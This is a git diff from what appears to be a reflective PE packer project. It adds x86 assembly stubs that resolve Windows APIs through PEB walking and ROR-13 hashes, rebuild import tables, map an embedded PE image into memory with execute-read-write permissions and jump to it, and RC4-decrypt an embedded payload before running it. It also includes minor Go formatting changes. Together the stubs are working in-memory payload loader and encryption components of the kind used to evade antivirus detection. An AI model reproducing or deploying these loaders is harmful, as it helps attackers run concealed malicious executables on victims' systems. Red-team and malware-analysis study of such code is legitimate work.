a/core/ASLR/relocate.asm b/core/x86/ASLR/relocate.asm similarity index 100% rename from core/ASLR/relocate.asm rename to core/x86/ASLR/relocate.asm diff --git a/core/ASLR/stub.asm b/core/x86/ASLR/stub.asm similarity index 100% rename from core/ASLR/stub.asm rename to core/x86/ASLR/stub.asm diff --git a/core/x86/Fixed/BuildImportTable.asm b/core/x86/Fixed/BuildImportTable.asm new file mode 100644 index 0000000..3f6aa88 --- /dev/null +++ b/core/x86/Fixed/BuildImportTable.asm @@ -0,0 +1,83 @@ +; +; Author: Ege Balcı +; Version: 1.0 +; + +[BITS 32] +[ORG 0] + +BuildImportTable: + mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") + mov eax,[eax+esi+0x80] ; Import table RVA + add eax,esi ; Import table memory address (first image import descriptor) + push eax ; Save import descriptor to stack +GetDLLs: + cmp dword [eax],0x00 ; Check if the import names table RVA is NULL + jz Complete ; If yes building process is done + mov eax,[eax+0x0C] ; Get RVA of dll name to eax + add eax,esi ; Get the dll name address + call LoadLibraryA ; Load the library + mov ebx,eax ; Move the dll handle to ebx + mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax + call GetProcs ; Resolve all windows API function addresses + add dword [esp],0x14 ; Move to the next import descriptor + mov eax,[esp] ; Set the new import descriptor address to eax + jmp GetDLLs +;----------------------------------------------------------------------------------- +GetProcs: + push ecx ; Save ecx to stack + push dword [eax+0x10] ; Save the current import descriptor IAT RVA + add [esp],esi ; Get the IAT memory address + mov eax,[eax] ; Set the import names table RVA to eax + add eax,esi ; Get the current import descriptor's import names table address + push eax ; Save it to stack +Resolve: + cmp dword [eax],0x00 ; Check if end of the import names table + jz AllResolved ; If yes resolving process is done + mov eax,[eax] ; Get the RVA of function hint to eax + cmp eax,0x80000000 ; Check if the high order bit is set + js NameResolve ; If high order bit is not set resolve with INT entry + sub eax,0x80000000 ; Zero out the high bit + call GetProcAddress ; Get the API address with hint + jmp InsertIAT ; Insert the address of API tı IAT +NameResolve: + add eax,esi ; Set the address of function hint + add dword eax,0x02 ; Move to function name + call GetProcAddress ; Get the function address to eax +InsertIAT: + mov ecx,[esp+4] ; Move the IAT address to ecx + mov [ecx],eax ; Insert the function address to IAT + add dword [esp],0x04 ; Increase the import names table index + add dword [esp+4],0x04 ; Increase the IAT index + mov eax,[esp] ; Set the address of import names table address to eax + jmp Resolve ; Loop +AllResolved: + mov ecx,[esp+4] ; Move the IAT address to ecx + mov dword [ecx],0x00 ; Insert a NULL dword + add esp,0x08 ; Deallocate index values + pop ecx ; Put back the ecx value + ret ; <- +;----------------------------------------------------------------------------------- +LoadLibraryA: + push ecx ; Save ecx to stack + push edx ; Save edx to stack + push eax ; Push the address of linrary name string + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA([esp+4]) + pop edx ; Retreive edx + pop ecx ; Retreive ecx + ret ; <- +;----------------------------------------------------------------------------------- +GetProcAddress: + push ecx ; Save ecx to stack + push edx ; Save edx to stack + push eax ; Push the address of proc name string + push ebx ; Push the dll handle + push 0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" ) + call ebp ; GetProcAddress(ebx,[esp+4]) + pop edx ; Retrieve edx + pop ecx ; Retrieve ecx + ret ; <- +;----------------------------------------------------------------------------------- + +Complete: diff --git a/core/x86/Fixed/block_api.asm b/core/x86/Fixed/block_api.asm new file mode 100644 index 0000000..b59895a --- /dev/null +++ b/core/x86/Fixed/block_api.asm @@ -0,0 +1,100 @@ +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (24 July 2009) +; Size: 130 bytes +;-----------------------------------------------------------------------------; + +[BITS 32] + +; Input: The hash of the API to call and all its parameters must be pushed onto stack. +; Output: The return value from the API call will be in EAX. +; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention) +; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered. +; Note: This function assumes the direction flag has allready been cleared via a CLD instruction. +; Note: This function is unable to call forwarded exports. + +api_call: + pushad ; We preserve all the registers for the caller, bar EAX and ECX. + mov ebp, esp ; Create a new stack frame + xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found) + mov edx, [fs:eax+48] ; Get a pointer to the PEB + mov edx, [edx+12] ; Get PEB->Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list +next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name +loop_modname: ; + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop until we have read enough + + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table, + mov edx, [edx+16] ; Get this modules base address + mov ecx, [edx+60] ; Get PE header + + ; use ecx as our EAT pointer here so we can take advantage of jecxz. + mov ecx, [ecx+edx+120] ; Get the EAT from the PE header + jecxz get_next_mod1 ; If no EAT present, process the next module + add ecx, edx ; Add the modules base address + push ecx ; Save the current modules EAT + mov ebx, [ecx+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + mov ecx, [ecx+24] ; Get the number of function names + ; now ecx returns to its regularly scheduled counter duties + + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searching for + jnz get_next_func ; Go compute the next function hash if we have not found it + + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... +finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... + +get_next_mod: ; + pop edi ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp short next_mod ; Process this module \ No newline at end of file diff --git a/core/x86/Fixed/iat/BuildImportTable.asm b/core/x86/Fixed/iat/BuildImportTable.asm new file mode 100644 index 0000000..8a57680 --- /dev/null +++ b/core/x86/Fixed/iat/BuildImportTable.asm @@ -0,0 +1,83 @@ +; +; Author: Ege Balcı +; Version: 1.0 + + +[BITS 32] +[ORG 0] + +BuildImportTable: + mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") + mov eax,[eax+esi+0x80] ; Import table RVA + add eax,esi ; Import table memory address (first image import descriptor) + push eax ; Save import descriptor to stack +GetDLLs: + cmp dword [eax],0x00 ; Check if the import names table RVA is NULL + jz Complete ; If yes building process is done + mov eax,[eax+0x0C] ; Get RVA of dll name to eax + add eax,esi ; Get the dll name address + call LoadLibraryA ; Load the library + mov ebx,eax ; Move the dll handle to ebx + mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax + call GetProcs ; Resolve all windows API function addresses + add dword [esp],0x14 ; Move to the next import descriptor + mov eax,[esp] ; Set the new import descriptor address to eax + jmp GetDLLs +;----------------------------------------------------------------------------------- +GetProcs: + push ecx ; Save ecx to stack + push dword [eax+0x10] ; Save the current import descriptor IAT RVA + add [esp],esi ; Get the IAT memory address + mov eax,[eax] ; Set the import names table RVA to eax + add eax,esi ; Get the current import descriptor's import names table address + push eax ; Save it to stack +Resolve: + cmp dword [eax],0x00 ; Check if end of the import names table + jz AllResolved ; If yes resolving process is done + mov eax,[eax] ; Get the RVA of function hint to eax + cmp eax,0x80000000 ; Check if the high order bit is set + js NameResolve ; If high order bit is not set resolve with INT entry + sub eax,0x80000000 ; Zero out the high bit + call GetProcAddress ; Get the API address with hint + jmp InsertIAT ; Insert the address of API tı IAT +NameResolve: + add eax,esi ; Set the address of function hint + add dword eax,0x02 ; Move to function name + call GetProcAddress ; Get the function address to eax +InsertIAT: + mov ecx,[esp+4] ; Move the IAT address to ecx + mov [ecx],eax ; Insert the function address to IAT + add dword [esp],0x04 ; Increase the import names table index + add dword [esp+4],0x04 ; Increase the IAT index + mov eax,[esp] ; Set the address of import names table address to eax + jmp Resolve ; Loop +AllResolved: + mov ecx,[esp+4] ; Move the IAT address to ecx + mov dword [ecx],0x00 ; Insert a NULL dword + add esp,0x08 ; Deallocate index values + pop ecx ; Put back the ecx value + ret ; <- +;----------------------------------------------------------------------------------- +LoadLibraryA: + push ecx ; Save ecx to stack + push edx ; Save edx to stack + push eax ; Push the address of linrary name string + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA([esp+4]) + pop edx ; Retreive edx + pop ecx ; Retreive ecx + ret ; <- +;----------------------------------------------------------------------------------- +GetProcAddress: + push ecx ; Save ecx to stack + push edx ; Save edx to stack + push eax ; Push the address of proc name string + push ebx ; Push the dll handle + push 0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" ) + call ebp ; GetProcAddress(ebx,[esp+4]) + pop edx ; Retrieve edx + pop ecx ; Retrieve ecx + ret ; <- +;----------------------------------------------------------------------------------- +Complete: + pop eax ; Clean out the stack diff --git a/core/x86/Fixed/iat/iat_api.asm b/core/x86/Fixed/iat/iat_api.asm new file mode 100644 index 0000000..258b6ea --- /dev/null +++ b/core/x86/Fixed/iat/iat_api.asm @@ -0,0 +1,110 @@ +;-----------------------------------------------------------------------------; +; Author: Ege Balcı +; Compatible: Windows 10/8.1/8/7/2008/Vista/2003/XP/2000/NT4 +; Version: 1.0 (25 January 2018) +; Size: 177 bytes +;-----------------------------------------------------------------------------; + +; This block locates addresses from import address table with given ror(13) hash value. +; Design is inpired from Stephen Fewer's hash api. + +[BITS 32] + +; Input: The hash of the API to call and all its parameters must be pushed onto stack. +; Output: The return value from the API call will be in EAX. +; Clobbers: EAX, EBX, ECX and EDX (NOT !! the normal stdcall calling convention because EBX is clobbered) +; Un-Clobbered: ESI, EDI, ESP and EBP can be expected to remain un-clobbered. +; Note: This function assumes the direction flag has allready been cleared via a CLD instruction. +; Note: This function is unable to call forwarded exports. + +%define ROTATION 0x0D ; Rotation value for ROR hash + +set_essentials: + pushad ; We preserve all the registers for the caller, bar EAX and ECX. + xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found) + mov edx,[fs:eax+0x30] ; Get a pointer to the PEB + mov edx,[edx+0x0C] ; Get PEB->Ldr + mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list + mov edx,[edx+0x10] ; Get this modules base address + push edx ; Save the image base to stack (will use this alot) + add edx,[edx+0x3C] ; "PE" Header + mov edx,[edx+0x80] ; Import table RVA + add edx,[esp] ; Address of Import Table + push edx ; Save the &IT to stack (will use this alot) + mov esi,[esp+4] ; Move the image base to ESI + sub esp,0x08 ; Allocate space for import descriptor counter & hash + sub edx,0x14 ; Prepare the import descriptor pointer for processing +next_desc: + add edx,0x14 ; Get the next import descriptor + cmp dword [edx],0x00 ; Check if import descriptor valid + jz not_found ; If import name array RVA is zero finish parsing + mov esi,[esp+0x08] ; Move the import table address to esi + mov si,[edx+0x0C] ; Get pointer to module name string RVA + xor edi,edi ; Clear EDI which will store the hash of the module name +loop_modname: ; + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror edi,ROTATION ; Rotate right our hash value + add edi,eax ; Add the next byte of the name + ror edi,ROTATION ; In order to calculate the same hash values as Stephen Fewer's hash API we need to rotate one more and add a null byte. + test al,al ; Check if we read all + jnz loop_modname + ; We now have the module hash computed + mov [esp+4],edx ; Save the current position in the module list for later + mov [esp],edi ; Save the current module hash for later + ; Proceed to iterate the export address table, + mov ecx,[edx] ; Get the RVA of import names table + add ecx,[esp+0x0C] ; Add image base and get address of import names table + sub ecx,0x04 ; Go 4 byte back +get_next_func: + ; use ecx as our EAT pointer here so we can take advantage of jecxz. + add ecx,0x04 ; 4 byte forward + cmp dword [ecx],0x00 ; Check if end of INT + jz next_desc ; If no INT present, process the next import descriptor + mov esi,[ecx] ; Get the RVA of func name hint + cmp esi,0x80000000 ; Check if the high order bit is set + jns get_next_func ; If not there is no function name string :( + add esi,[esp+0x0C] ; Add the image base and get the address of function hint + add dword esi,0x02 ; Move 2 bytes forward to asci function name + ; now ecx returns to its regularly scheduled counter duties + ; Computing the module hash + function hash + xor edi,edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + lodsb ; Read in the next byte of the ASCII function name + ror edi,ROTATION ; Rotate right our hash value + add edi,eax ; Add the next byte of the name + cmp al,ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi,[esp] ; Add the current module hash to the function hash + cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT + mov edx,[edx] ; Get the import names table RVA of current import descriptor + add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor + sub ecx,edx ; Find the function array index ? + add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA + add eax,ecx ; Add the function index + ; Now we clean the stack + +; We now fix up the stack and perform the call to the desired function... +finish: + mov [esp+0x2C],eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + add esp,0x10 ; Deallocate saved module hash, import descriptor address and import table address + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ebx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + mov eax,[eax] ; Get the add ress of the desired API + call eax ; Call API + push ebx ; Push back the return value + ret ; + ; We now automagically return to the correct caller... +not_found: + add esp,0x0F ; Fix the stack + popad ; Restore all registers + ret ; Return + ; (API is not found) diff --git a/core/x86/Fixed/iat/stub.asm b/core/x86/Fixed/iat/stub.asm new file mode 100644 index 0000000..2a14822 --- /dev/null +++ b/core/x86/Fixed/iat/stub.asm @@ -0,0 +1,49 @@ +; +; Author: Ege Balcı +; Version: 1.0 + +[BITS 32] +[ORG 0] + + call Stub +PE: + incbin "Mem.map" ; PE file image + ImageSize: equ $-PE +Stub: + pop esi ; Get the address of image to esi + call IAT_API ; + %include "iat_api.asm" ; +IAT_API: + pop ebp ; Pop the address of iat_api to ebp + call GetAOE + push 0x00000000 ; Allocate a DWORD variable inside stack + push esp ; lpflOldProtect + push byte 0x40 ; PAGE_EXECUTE_READWRITE + push ImageSize ; dwSize + push ebx ; lpAddress + push 0xC38AE110 ; hash( "kernel32.dll", "VirtualProtect" ) + call ebp ; VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, lpflOldProtect) + test eax,eax ; Check success + jz Fail ; If VirtualProtect fails don't bother :/ + %include "BuildImportTable.asm" ; Call the module responsible for building the import address table + xor ecx,ecx ; Zero out the ECX + call GetAOE ; Get image base and AOE + push ebx ; Store the image base to stack + add [esp],eax ; Add the AOE value +Memcpy: + mov al,[esi] ; Move 1 byte of PE image to AL register + mov [ebx],al ; Move 1 byte of PE image to image base + inc esi ; Increase PE image index + inc ebx ; Increase image base index + inc ecx ; Decrease loop counter + cmp ecx,ImageSize ; Check if ECX is 0 + jnz Memcpy ; If not loop + mov dword eax,[esp] ; Copy the AOEP to eax + ret ; Return to the AOEP +GetAOE: + mov eax,[esi+0x3C] ; Get the offset of "PE" to eax + mov ebx,[eax+esi+0x34] ; Get the image base address to ebx + mov eax,[eax+esi+0x28] ; Get the address of entry point to eax + ret ; <- +Fail: + ret ; VirtualProtect failed :( diff --git a/core/x86/Fixed/stub.asm b/core/x86/Fixed/stub.asm new file mode 100644 index 0000000..0e61271 --- /dev/null +++ b/core/x86/Fixed/stub.asm @@ -0,0 +1,50 @@ +; +; Author: Ege Balcı +; Version: 1.0 + +[BITS 32] +[ORG 0] + + cld + call Start + %include "block_api.asm" +GetAOE: + mov eax,[esi+0x3C] ; Get the offset of "PE" to eax + mov ebx,[eax+esi+0x34] ; Get the image base address to ebx + mov eax,[eax+esi+0x28] ; Get the address of entry point to eax + ret ; <- +Start: + pop ebp + call Stub +PE: + incbin "Mem.map" ; PE file image + ImageSize: equ $-PE +Stub: + pop esi ; Get the address of image to esi + call GetAOE + push 0x00000000 ; Allocate a DWORD variable inside stack + push esp ; lpflOldProtect + push byte 0x40 ; PAGE_EXECUTE_READWRITE + push ImageSize ; dwSize + push ebx ; lpAddress + push 0xC38AE110 ; hash( "kernel32.dll", "VirtualProtect" ) + call ebp ; VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, lpflOldProtect) + test eax,eax ; Check success + jz Fail ; If VirtualProtect fails we are FUCKED ! + %include "BuildImportTable.asm" ; Call the module responsible for building the import address table + xor ecx,ecx ; Zero out the ECX + call GetAOE ; Get image base and AOE + push ebx ; Store the image base to stack + add [esp],eax ; Add the AOE value +Memcpy: + mov al,[esi] ; Move 1 byte of PE image to AL register + mov [ebx],al ; Move 1 byte of PE image to image base + inc esi ; Increase PE image index + inc ebx ; Increase image base index + inc ecx ; Decrease loop counter + cmp ecx,ImageSize ; Check if ECX is 0 + jnz Memcpy ; If not loop + mov dword eax,[esp] ; Copy the AOEP to eax + ret ; Return to the AOEP +Fail: + ret ; VirtualProtect failed :( diff --git a/core/x86/RC4.asm b/core/x86/RC4.asm new file mode 100644 index 0000000..970e25d --- /dev/null +++ b/core/x86/RC4.asm @@ -0,0 +1,61 @@ +;-----------------------------------------------------------------------------; +; Authors: Michael Schierl, Ege Balcı +; Version: 2.0 (02 December 2017) +;-----------------------------------------------------------------------------; +[BITS 32] + +; Input: EBP - Data to decode +; ESI - Key +; ECX - Data size +; EDI - Scratch place for S-box +; Direction flag has to be cleared +; Output: None. Data is decoded in place. +; Clobbers: EAX, EBX, ECX, EDX, EBP + + cld + call start +Payload: + incbin "../Payload.rc4" +PSize: equ $-Payload +Key: + incbin "../Payload.key" +KSize: equ $-Key + ; Initialize S-box +start: + pop ebp ; Pop out the address of payload to ebp + lea esi,[ebp+PSize] ; Load the address of key to esi + mov ecx,PSize ; Move the size of the amber payload to ecx + mov edi,esp ; Set the address of stack as scratch box + xor eax, eax ; Start with 0 +init: + stosb ; Store next SBox byte S[i] = i + inc al ; Increase byte to write (EDI is increased automatically) + jnz init ; Loop until we wrap around + sub edi, 0x100 ; Restore EDI + ; Permute S-box according to key + xor ebx, ebx ; Clear EBX (EAX is already cleared) +permute: + add bl,[edi+eax] ; BL += S[AL] + KEY[AL % sizeof(Key)] + mov edx,eax ; + and dl,KSize-1 ; dl & sizeof(Key) + add bl,[esi+edx] ; Move next byte of key to bl + mov dl,[edi+eax] ; swap S[AL] and S[BL] + xchg dl,[edi+ebx] ; .. + mov [edi+eax], dl ; .. + inc al ; AL += 1 until we wrap around + jnz permute ; + ; Decryption loop + xor ebx, ebx ; Clear EBX (EAX is already cleared) +decrypt: + inc al ; AL += 1 + add bl,[edi+eax] ; BL += S[AL] + mov dl,[edi+eax] ; swap S[AL] and S[BL] + xchg dl,[edi+ebx] ; + mov [edi+eax], dl ; + add dl,[edi+ebx] ; DL = S[AL]+S[BL] + mov dl,[edi+edx] ; DL = S[DL] + xor [ebp],dl ; [EBP] ^= DL + inc ebp ; Advance data pointer + dec ecx ; Reduce counter + jnz decrypt ; Until finished + jmp Payload diff --git a/src/vars.go b/src/vars.go index 951ef09..799bf00 100644 --- a/src/vars.go +++ b/src/vars.go @@ -1,6 +1,5 @@ package main -import "gopkg.in/cheggaaa/pb.v1" import "github.com/fatih/color" const VERSION string = "1.4.0" @@ -16,22 +15,22 @@ type PEID struct { staged bool iat bool resource bool - scrape bool + scrape bool verbose bool debug bool - help bool - clean bool + help bool + clean bool IgnoreIntegrity bool //Analysis... - FileSize string - dll bool - aslr bool - opt OptionalHeader - VP string - GPA string - LLA string + FileSize string + dll bool + aslr bool + opt OptionalHeader + VP string + GPA string + LLA string } type OptionalHeader struct { @@ -72,7 +71,6 @@ type DataDirectory struct { Size uint32 } - var red *color.Color = color.New(color.FgRed) var BoldRed *color.Color = red.Add(color.Bold) var blue *color.Color = color.New(color.FgBlue)